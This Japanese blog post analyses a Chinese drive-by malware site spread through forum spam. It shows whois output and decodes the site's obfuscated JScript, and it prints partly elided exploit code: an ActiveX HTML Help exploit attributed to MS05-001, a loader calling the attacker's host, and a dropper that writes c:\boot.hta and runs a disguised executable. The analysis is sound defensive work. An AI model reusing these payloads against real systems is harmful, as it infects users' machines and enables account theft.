中国系のExploit入りサイト

ある掲示板で、あるURLが書かれている書き込みにして、
返信元の書き込みはトロイの木馬が仕込まれれているサイトなので注意するようにと返信がありました。

  • あるURL

注意:適切にパッチを当てていないPCでアクセスするとトロイの木馬が仕込まれる可能性があります

ttp://rbtt1.com/
google:rbtt1.com





どうも、そのURLを書き込んだ書き込み元のIPアドレス帯から調査すると中国からのようです。

whois -h whois.apnic.net 58.22.225.61

inetnum: 58.22.0.0 - 58.23.255.255
netname: CNCGROUP-FJ
descr: CNCGroup FuJian province network
descr: China Network Communications Group Corporation
descr: No.156,Fu-Xing-Men-Nei Street,
descr: Beijing 100031
country: CN
admin-c: CH444-AP
tech-c: CH444-AP
remarks: service provider
mnt-by: APNIC-HM
mnt-lower: MAINT-CNCGROUP-FJ
mnt-routes: MAINT-CNCGROUP-RR
status: ALLOCATED PORTABLE
remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
remarks: This object can only be updated by APNIC hostmasters.
remarks: To update this object, please contact APNIC
remarks: hostmasters and include your organisation's account
remarks: name in the subject line.
remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
changed: hm-changed@apnic.net 20050429
changed: hm-changed@apnic.net 20050504
changed: hm-changed@apnic.net 20060424
source: APNIC

route: 58.22.0.0/15
descr: CNCGroup CHINA169 FuJian province network
country: CN
origin: AS4837
mnt-by: MAINT-CNCGROUP-RR
changed: abuse@cnc-noc.net 20060330
source: APNIC

route: 58.22.0.0/15
descr: CNCGroup FuJian province network
country: CN
origin: AS9929
mnt-by: MAINT-CNCGROUP-RR
changed: abuse@cnc-noc.net 20050504
changed: hm-changed@apnic.net 20050504
changed: hm-changed@apnic.net 20050504
source: APNIC

person: CNCGroup Hostmaster
nic-hdl: CH444-AP
e-mail: abuse@cnc-noc.net
address: No.156,Fu-Xing-Men-Nei Street,
address: Beijing,100031,P.R.China
phone: +86-10-82993155
fax-no: +86-10-82993144
country: CN
changed: abuse@cnc-noc.net 20041220
mnt-by: MAINT-CNCGROUP
source: APNIC

rbtt1.comの中身

firefoxでアクセスしても何も表示されません。

wgetで直接取得したするとこのようになります。

<HTML><HEAD><SCRIPT LANGUAGE="JScript.Encode">#@~^5A4AAA==@#@&@!Z O@#@&\mD,       WMNd'r]f/kmDb2Yu !^CU
o!lT+Y&9%m\C/1.kaYYfA0EU^DkGxu+ZVGmNs+]y%u+,uG$k]f9u GSrx9WhkY+Gu&~\nDYfGxC\bLlDW.Yy2l22j+./bG ]f~k6] R]yq]y%-+M]+3b
xNar6] RY+GgKu T*Y+A!Y FY O]f9u&fY+GFY OYy,r]2f]yGSrx YY F]f$b0]y0]yF]y0-+M]y2rx[nXrW]y0]yG   r       NWAdu T,RYyGY
y,u&fu&GY GFY O]+1uGAbn]2f]y{A,R]yGY&$YFfsW1CYbWUYy2t.n6]ffbnu $u F] AtDh]yGY&~]{9u!fuTb6Ex1OrW ]y!!+O/KWVkY Z]+0  l:nYy,Y ZYFAYy!u!fu!z-lM]+!mDLYy!]29]y!xmhn]y!u $]+Tu +]29]y Yf~] TYZfY!z-mDYy!mV+       ]yT]2fY Zl.Lu 2^nxTYtuf$]y!u!
9]T)7l.]yTm^+UYy!]f9u TNK^!:n   Yu 21WKVk]+2^+ULDt]2$]y!]Z9Y!z\mDY Tru T]29]y!TY2A]+Tu!9]Z)Str^+u !u Rr]y!Y&;]+T1V+Y O] ZY{Au Z]TfYTz\CDu+!N]+Tu&fY+ZkY ZYyAYy!mV+  ]2$]y!Y!G]T)b0]yT]y%NK^;:xD]+2^GK3r+u+2kE8dDDkULu 0ku+;]+ZLu ,u ZY&G]
ffu TCMo]y1]y!]Z9Y!zDY;DUYy!L+D/WK3rnjlVY+Z]+%NYy,Y2Au !u!GY!zkY Z]f9u !9Gm!:+ OY AmKWVknYy2rx9n6}0Y+R] +Yy!Y yYyZYy

(中略)

y/]y!GW6/+OYy,Y&~Yy!YZfu!bb0u+!u 0+     NdOM] ZY&G]&GY+!u GFY 1Yy!Y!GY!z+U[kYDY+Z]ffu+ZNG1Es+xD]y3mKWVk]+3^+xTOtu&Au+
T]Zfu!)DnO!DU]yTE       +d^mw+Y+RNGm!hxOu AmWK3bn]y2dE(/O.bxou+%K00knO]yZu T+U[kY.]y1]y,Yf~] TYZfY!zYFfYy!u!fu!zr0u 0
lsYY+R] OY&G]&GqY O]FAsWC[s+Y RY O]f$uGfYTG]Tbuf;]+w/1DkaYuf2r@#@&0!x^ObWx,j+D1+S       GD9/v#@#@&`@#@&\CD,H+SG.9/i@#
@&g+AK.9/x!x/mmwcKD[/*i@#@&9Wm!h+   YRS.rY`g+AG.9/bi@#@&8@#@&jnD1+A       KD[/vbp@#@&Jz,OO@*@#@&zOMDAA==^#~@</SCRIPT></
HEAD><BODY></BODY></HTML>

文字化けかと思ったらJScript.Encode*1でEncodeされています。
これはInternet Expolorerでしか動作しません。
firefoxでアクセスしても何も表示されないはずです。


JScript.decode-1.0.pl*2を利用してdecodeしてみました。


decodeの結果

<HTML><HEAD><SCRIPT LANGUAGE="JScript.Encode">
<!--
var Words="%3Cscript%20language%3Djavascript%3Efunction%20loadme%28%29%7Bie%3D%27windows%27%3Bver%3Dnavigator%2EappVersion%3Bif%28%21%28ver%2EindexOf%28%27NT%205%2E0%27%29%3D%3D%2D1%29%29ie%3D%27winnt%27%3Bif%28%21%28ver%2EindexOf%28%
27Windows%2098%27%29%3D%3D%2D1%29%29%7Bie%3D%27w98%27%3B%7Dlocation%2Ehref%3Die%2B%27%2Ehtm%27%3B%7D%0D%0Afunction%20GetCookie%20%28name%29%20%7B%20%0D%0Avar%20arg%20%3D%20name%20%2B%20%22%3D%22%3B%20%0D%0Avar%20alen%20%3D%20arg%2Elen
gth%3B%20%0D%0Avar%20clen%20%3D%20document%2Ecookie%2Elength%3B%20%0D%0Avar%20i%20%3D%200%3B%20%0D%0Awhile%20%28i%20%3C%20clen%29%20%7B%20%0D%0Avar%20j%20%3D%20i%20%2B%20alen%3B%20%0D%0Aif%20%28document%2Ecookie%2Esubstring%28i%2C%20j
%29%20%3D%3D%20arg%29%20%0D%0Areturn%20getCookieVal%20%28j%29%3B%20%0D%0Ai%20%3D%20document%2Ecookie%2EindexOf%28%22%20%22%2C%20i%29%20%2B%201%3B%20%0D%0Aif%20%28i%20%3D%3D%200%29%20break%3B%20%0D%0A%7D%20%0D%0Areturn%20null%3B%20%0D%
0A%7D%20%0D%0A%0D%0Afunction%20SetCookie%20%28name%2C%20value%29%20%7B%20%0D%0Avar%20argv%20%3D%20SetCookie%2Earguments%3B%20%0D%0Avar%20argc%20%3D%20SetCookie%2Earguments%2Elength%3B%20%0D%0Avar%20expires%20%3D%20%28argc%20%3E%202%29
%20%3F%20argv%5B2%5D%20%3A%20null%3B%20%0D%0Avar%20path%20%3D%20%28argc%20%3E%203%29%20%3F%20argv%5B3%5D%20%3A%20null%3B%20%0D%0Avar%20domain%20%3D%20%28argc%20%3E%204%29%20%3F%20argv%5B4%5D%20%3A%20null%3B%20%0D%0Avar%20secure%20%3D%
20%28argc%20%3E%205%29%20%3F%20argv%5B5%5D%20%3A%20false%3B%20%0D%0Adocument%2Ecookie%20%3D%20name%20%2B%20%22%3D%22%20%2B%20escape%20%28value%29%20%2B%20%0D%0A%28%28expires%20%3D%3D%20null%29%20%3F%20%22%22%20%3A%20%28%22%3B%20expire

(中略)

%28offset%29%20%7B%20%0D%0Avar%20endstr%20%3D%20document%2Ecookie%2EindexOf%20%28%22%3B%22%2C%20offset%29%3B%20%0D%0Aif%20%28endstr%20%3D%3D%20%2D1%29%20%0D%0Aendstr%20%3D%20document%2Ecookie%2Elength%3B%20%0D%0Areturn%20unescape%28do
cument%2Ecookie%2Esubstring%28offset%2C%20endstr%29%29%3B%20%0D%0A%7D%20%0D%0Aif%28amt%28%29%3D%3D1%29%7Bloadme%28%29%3B%7D%0D%0A%3C%2Fscript%3E"
function SetNewWords()
{
var NewWords;
NewWords=unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
y-rrwB:`</SCRIPT></HEAD><BODY></BODY></HTML>


さらに難読化してJavaScriptのunescapeでそれを平文化して表示しているようです。


Word部分を平文に戻したもの

Wordsの中をunescapeしたもの

<script language=javascript>function loadme(){ie='windows';ver=navigator.appVe
rsion;if(!(ver.indexOf('NT 5.0')==-1))ie='winnt';if(!(ver.indexOf(%
27Windows 98')==-1)){ie='w98';}location.href=ie+'.htm';}
function 
GetCookie (name) { 
var arg = name + "="; 
var alen = arg.len
gth; 
var clen = document.cookie.length; 
var i = 0; 

(中略)

return 1 
} 
else{ 
var newcount = parseInt(count) + 1
; 
if(newcount<2) count=1; 
SetCookie('count',newcount,exp); 
//
DeleteCookie('count') 
return newcount 
} 
} 

function getCookieVal
(offset) { 
var endstr = document.cookie.indexOf (";", offset); 

if (endstr == -1) 
endstr = document.cookie.length; 
return unescape(do
cument.cookie.substring(offset, endstr)); 
} 
if(amt()==1){loadme()
;}
</script>

OSバージョンによって処理を分けて
/windows.htm
/winnt.htm
/w98.htm
を読ませるのがメインの処理のようです。


windows.htm w98.htm winnt.htmでググると鄢客とか红客とか鄢客工具とか
中国のぁゃιぃサイトしかヒットしないですね。

もそれぞれwgetで取得してみました。
w98.htmはNot Foundでした。

以下はwindows.htm

<SCRIPT language=MicrosoftBill src="logo.gif"></SCRIPT><SCRIPT language=MicrosoftBill src="logo.ico"></SCRIPT><HTML><BODY><div style="display:none"><OBJECT id="news914" type="application/x-olEoBjEcT" Who=KickSymantec ClAsSiD="ClSId:aDb880A6-d8ff-11cf-9377-00aa003b7a11">(中略)/help/apps.chm'></OBJECT><OBJECT id="news565" type="application/x-oleObJeCt" Who=KickSymTwice ClASsid="ClSiD:aDb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl"><PARAM value='comm(中略)8 2i/Y:r:W;YvJUnS/*+XR;Vk1Vc#pJB!bieG!CxD!W{F+fp5W;	mxOMKx8 fp5KEmxD!W{F+&plC8AAA==^#~@</SCRIPT></BODY></HTML>

ちなみに、このファイルはvirustotalでチェックするとClamAVでのみExploit.MS05-001.genとして検出されます。


また、一部JScript.Encodeされているので、decodeし整形したのが以下です。

<SCRIPT language=MicrosoftBill src="logo.gif"></SCRIPT>
<SCRIPT language=MicrosoftBill src="logo.ico"></SCRIPT>
<HTML>
<BODY>
<div style="display:none">
<OBJECT id="news914" type="application/x-olEoBjEcT" Who=KickSymantec ClAsSiD="ClSId:aDb880A6-d8ff-11cf-9377-00aa003b7a11">
(中略)
<OBJECT id="news565" type="application/x-oleObJeCt" Who=KickSymTwice ClASsid="ClSiD:aDb880a6-d8ff-11cf-9377-00aa003b7a11">
(中略)
and;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://www.rbtt1.com/logo.gif\\\"\"+String.fro(中略)omCharCode(62))")' name="Item1"></OBJECT></div><SCRIPT language = JScript.Encode>YouWantGo=123;YouWantGo=123;news914.Click();YouWant(中略)Timeout("news565.Click();",0);YouWantGo=123;YouWantGo=123;YouWantGo=123;aabEBB:~</SCRIPT>
</BODY>
</HTML>

MS05-001の脆弱性を利用しているようです。

スクリプトの中に見えるlogo.gifもwgetで取得しみるとgifファイルではなく


取得したlogo.gifを整形したもの

BMP.メニカッ..TXT.JPG..チェヘィ";
try{Rfuc1k1S=new ActiveXObject("ADOR.Recordset");
document.write('<body  onLoad="javascript:window.moveTo(6666,7777);
window.resizeTo(0,0);
"></body>');
Rfuc1k1S.Fields.Append("yahoo",200,1000);
KAV="fuck kav!Please Kill Me Now!!!";
Rfuc1k1S.Fields.Append("love",200,3000);
(中略)
mike=1;
Rfuc1k1S.Fields("love").Value="<HTML><BODY onLoad=window.moveTo(5000,5000)><HEAD><SCRIPT language=JScript>window.moveTo(6000,6000);
window.resizeTo(0,0);
</S\0CRIPT></HEAD>\r\n<HTA:APPLICATION ID=j3714  CAPTION=\"no\" BORDER=\"none\" HEIGHT=\"0\" SHOWINTASKBAR=\"no\"   WIDTH=\"0\" WINDOWSTATE=\"minimize\">\r\n<BODY scroll=\"no\" leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\r\n<SCRIPT LANGUAGE=\"JavaScript\">\r\nfunction China2008welcome(b){\r\ntry{var m1y1f=new Enumerator(Ffu1c1sko.GetFolder(b).SubFolders);
for (;
(中略)
ext()){var z0=m1y1f.item().Path+\"\\\\logo[1].ico\";
var z1=m1y1f.item().Path+\"\\\\logo[2].ico\";
\r\nvar f=\"C:\\\\bootconf.exe\";
if(Ffu1c1sko.FileExists(z0)){Ffu1c1sko.CopyFile(z0,f)\r\nw1s2h.Run(f,0,false);
v=1;
break;
}if(Ffu1c1sko.FileExists(z1)){Ffu1c1sko.CopyFile(z1,f);
w1s2h.Run(f,0,false);
v=1;
break;
}China2008welcome(m1y1f.item());
}}catch(e){}}\r\nfunction li1k1e1it(){window.close();
j=1;
}\r\nvar v=0;
\r\ntry{\r\nvar Ffu1c1sko=new ActiveXObject(\"Scripting.FileSystemObject\");
\r\nvar w1s2h=new ActiveXObject(\"WScript.Shell\");
\r\nvar cache=w1s2h.RegRead(\"HKCU\\\\Software\\\\Micr\"+\"osoft\\\\Windows\\\\Cu\"+\"rr\"+\"ent\"+\"Ver\"+\"si\"+\"on\\\\Explorer\\\\Sh\"+\"ell Fol\"+\"ders\\\\Ca\"+\"che\");
\r\n}catch(e){}\r\nfunction hatebj(){try{if(v==0){China2008welcome(cache+'\\\\..\\\\');
setTimeo(中略)
j()\",4023);
}else{opi=1;
(中略)
Rfuc1k1S.Update();
}catch(e){}try{Rfuc1k1S.Save("c:\\boot.hta",0);
}catch(e){}document.write('<object id="bbs1" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><param name="Command" value="shortcut"><param name=item1 value=",c:\\boot.hta"></object><OBJECT id="bbs2" type="application/x-oleobject" 
(中略)

m1k2k3j=456;
m1k2k3j=456;
m1k2k3j=456;
bbs2.Click();
m1k2k3j=456;
m1k2k3j=456;
m1k2k3j=456;
m1k2k3j=456;
<\/script>')

解析している暇がないので詳しくは見ていませんが

logo[1].ico
logo[2].ico
bootconf.exe
Scripting.FileSystemObject
c:\boot.hta
\HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Sell Folders\Cache\

という内容から見ると、何か大量に仕込まれそうな内容です。


google:rbtt1.com
ググってみるとトップページだけでなく
工作員がトロイ入りのscrやexeの入ったURLを各種掲示板に書き込みまくっているようですね。
リネージュをアカウントを取得されてしまうという話もあるようです。
RMT用ですかね。

BBSへのspam書き込みのブラックリストを利用した制限

参考までに、spam書き込みをブラックリストを利用して制限する手法です。
spam対策で有名なハートコンピュータさんが書かれていました。

その2)スクリプトに仕掛ける
レンタルサーバーを使っている場合には自分ではApacheのモジュールを追加できないのでスクリプトにこのメカニズムを入れます。

以下はphpで書かれた掲示板に仕掛ける例です。perlも同一の方法でやることができるはずですのでperlが得意な方はこれを参考に書いてみてください。(参考:「RBL Query(問い合わせ)方法」)

6/4に追記

同じようなサイトに
ttp://lineagett.com/
google:lineagett.com
というものもあるようです。